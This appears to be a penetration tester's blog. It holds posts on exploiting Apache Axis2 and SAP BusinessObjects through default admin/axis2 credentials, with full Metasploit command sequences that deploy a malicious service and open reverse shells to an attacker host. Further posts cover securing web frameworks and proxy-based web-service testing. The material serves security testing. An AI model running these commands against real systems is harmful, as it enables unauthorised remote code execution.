Axis2 Deployer via REST

Update 12/06: Many kudos to Egypt for helping with exploit dev!

Last weekend at OWASP BASC 2010, I created another version of the Axis2 Deployer exploit which uses REST instead of SOAP. This is important because pentesters may need to exploit Axis2 via REST, since SOAP may be disabled in certain environments. This module will not work against SAP BusinessObjects since the dswsbobje.war module has the REST interface disabled by default. I have tested the module against Axis2 1.5.2.

The REST version of Axis2 Deployer Exploit module can be found here.

In essence this module adds more flexibility for everyone that is a pentesting an environment with Axis2.

Example usage:

use exploit/multi/http/axis2_deployer_rest
set PATH /axis2
set RHOST 192.168.33.128
set payload java/shell/reverse_tcp
set target 0
set LHOST 192.168.33.1
set LPORT 13337
exploit -j


Enjoy!

Regards,
Jabra

Advertisement

Axis2 Deployer via SOAP

At OWASP AppSecDC @willis__ and I talked about several attacks against SAP BusinessObjects. SAP BusinessObjects uses a module known as dswsbobje.war to deploy the Axis2 interface. Axis2 is a web application interface for administering web services. The dswsbobje module deploys several SAP BusinessObjects web services. These web services allow for anyone that is using BusinessObjects to build integration with other systems in their environment. The problem is that SAP did not remove the functionality which would prevent a malicious attacker or XSS’ed admin from deploying a malicious web service. Worse yet is that they also left the Axis2 interface configured with default credentials and then they went ahead and forgot to mention this fact in their 1000+ pages administration guide. Perfect storm. “What’s the worst that could happen….?”

Axis2 and SAP’s dswsbobje module both use the default credentials to login to the web interface (admin / axis2). Metasploit already has a module to test for default Axis2 credentials.

We can use this against SAP BusinessObjects by using the following msfconsole commands:

use auxiliary/scanner/http/axis_login
set URI /dswsbobje/axis2-admin/login
set USERNAME admin
set PASSWORD axis2
set RHOSTS 192.168.33.128
run


After we have identified a target that has default Axis2 credentials, we can utilize these credentials to login and deploy a new malicious web service. The way this works is that Axis2 Deployer module creates a new web service (jar), uploads the web service by using the default Axis2 credentials and then makes a SOAP request to execute meterpreter.

The Axis2 Deployer Exploit module have been added to Metasploit svn so that anyone that runs into Axis2 in the future will be able to easily exploit the system. The Metasploit module uses the java/meterpreter or java/shell payloads.

Here is an example of using the Axis2 Deployer exploit module against SAP BusinessObjects:

use exploit/multi/http/axis2_deployer
set PATH /dswsbobje
set RHOST 192.168.33.128
set payload java/meterpreter/reverse_tcp
set target 0
set LHOST 192.168.33.1
set LPORT 13337
exploit -j

For those running BusinessObjects SAP has provided a “fix” on their website (this site requires authentication).

For Axis2 that only difference is that the PATH is set to /axis2.

use exploit/multi/http/axis2_deployer
set PATH /axis2
set RHOST 192.168.33.128
set payload java/shell/reverse_tcp
set target 0
set LHOST 192.168.33.1
set LPORT 13337
exploit -j


It’s important to keep in-mind is that java/meterpreter is not the same as windows/meterpreter and therefore has several limitations which make it less than ideal for anyone that is performing a penetration assessment. To get around this limitation, we can use the spawn_meterpreter script.


use exploit/multi/http/axis2_deployer
set PATH /dswsbobje
set RHOST 192.168.33.128
set payload windows/shell/reverse_payload
set AutoRunScript spawn_meterpreter
set target 0
set LHOST 192.168.33.1
set LPORT 13337
exploit -j


This script will cause Metasploit to execute a new instance of meterpreter automatically after the first session is opened.

Regards,
Jabra

Security-patching Common Web Development Frameworks

A few weeks ago at OWASP AppSec DC we made progress on an idea that several of us (@RafalLos, @secureideas, @securityninja, @TheCustOS) have been talking about on twitter for a while. The idea is based on trying to determine a good solution to what we see as the general brokenness of the Internet’s web applications. Not only do we see current applications as badly broken but the velocity at which developers are building new insecure web application is increasing. The panel that we hosted at OWASP AppSec DC discussed one method which we can contribute to reduce the rate at which new, insecure web applications are being developed.

Our idea is based on improving the security of existing web application development frameworks; adding security components into their core, thus making security more transparent to the developer and potentially having the effect of producing more secure web applications.

While there are certain elements of WebAppSec which will help to reduce the volume and impact of vulnerabilities such as training; training simply hasn’t proven to be a solution which scales well. The root of the problem with training is that the number of developers in the world is many orders of magnitude more than the number of WebAppSec trainers. The trainers are also limited due to several factors such as the need to understand language-specific constructs and limitations and the need to constantly keep up with changing development methodologies. This drastically impacts the pool of qualified, available trainers.

There are two factors which we need to address so that everyone is clear the types of vulnerabilities we want to cover and how we will improve existing frameworks. Trying to fix all WebAppSec vulnerabilities programmatically is an arduous and complex task. Therefore, we have decided to focus on form-based attacks (SQLi, XSS etc). Our approach will focus strictly on the types of flaws which can be readily addressed with minimal impact to the framework structure, and coding principles of the framework.

Next we have to cover which frameworks, and the versions we will try to improve. From the panel discussion, the consensus is that it is important for us not to focus on adding security to legacy versions of the frameworks since this would be a losing battle which isn’t really worth fighting since developers will over time likely be moving to newer versions of the frameworks with the applied fixes.

The core idea is to improve existing development frameworks by adding security controls into the upstream version of the framework. This means that as the framework is improved with additional features which developers will want, they will have the added benefit of getting a more secure framework “right out of the box”. We understand that developers have little incentive to produce more secure code over meeting their often aggressive release deadlines. Making the frameworks incorporate security is very important, and I think the ideal way to reduce the rate at which vulnerable web applications are being developed by making it more difficult for developers to write insecure code. This change means that from a business perspective the negative time and productivity impact to write “more secure code” is reduced… Our goal is to make the applications being developed more secure, by making security less visible and requiring less effort. We feel this will be the most effective and impactful method of raising overall web application security – by making it simple and (nearly) transparent for developers. We know developers don’t write poorly secured code on purpose, so by making security easier on them, there is a greater chance of the final product having a higher level of software security. It may not be possible to make the entire Internet secure but if we can change the velocity at which new, vulnerable web applications are being developed then we are really making huge strides toward a more secure Internet.

Perhaps the most important question is now that we have an acceptance of our idea – what do we do first? Clearly, step one is gaining community support. I’m not 100 % sure that creating a new OWASP project is the best method… The alternative to this is to use another site like Google groups and/or something similar for managing our efforts.

We welcome community input! Please feel free to leave comments. We are looking forward to see what other people in the community have say about these ideas.

Pentesting Web Services

Recently, I have been doing a few presentations with Will Vandevanter (@willis__) talking about Hacking SAP BusinessObjects. As a reference to anyone who hasn’t seen the presentation I thought it would be useful to do a few follow-up blog posts to clarify a few topics in greater detail.

The essence of the presentation was focused on pentesting SAP’s Service Oriented Architecture (SOA). There are two common ways to do SOA (SOAP and REST). The method used by SAP BusinessObjects is SOAP. For anyone that isn’t familiar with SOAP, just think of XML messages on top of HTTP. Below is a simple ruby client that makes a SOAP request to the web service. There are a few things which make this sample very useful to anyone that is performing a penetration test. The first is the request / response are stored in txt files. This is useful to logging and manual review of details. The second, is that the request is made using a local proxy on 8080/tcp (BurpSuite, WebScarab etc.).

By using a proxy the pentester can have fine grained control of the request. Even though BurpSuite doesn’t have built-in web services support, pentesters can still use the proxy to intercept requests since it’s just HTTP. The way this works is to intercept a SOAP request then utilize the intruder to fuzz any perimeters in the the web service. Pentesters also use BurpSuite (or w/e proxy) to perform replay requests and perform PRNG testing (similar to session id testing)

Sample Ruby SOAP client

Let me know what you think. What methods are you using to pentest web services? What tools do you use ? Comments welcome!

Hack the Planet!

-Jabra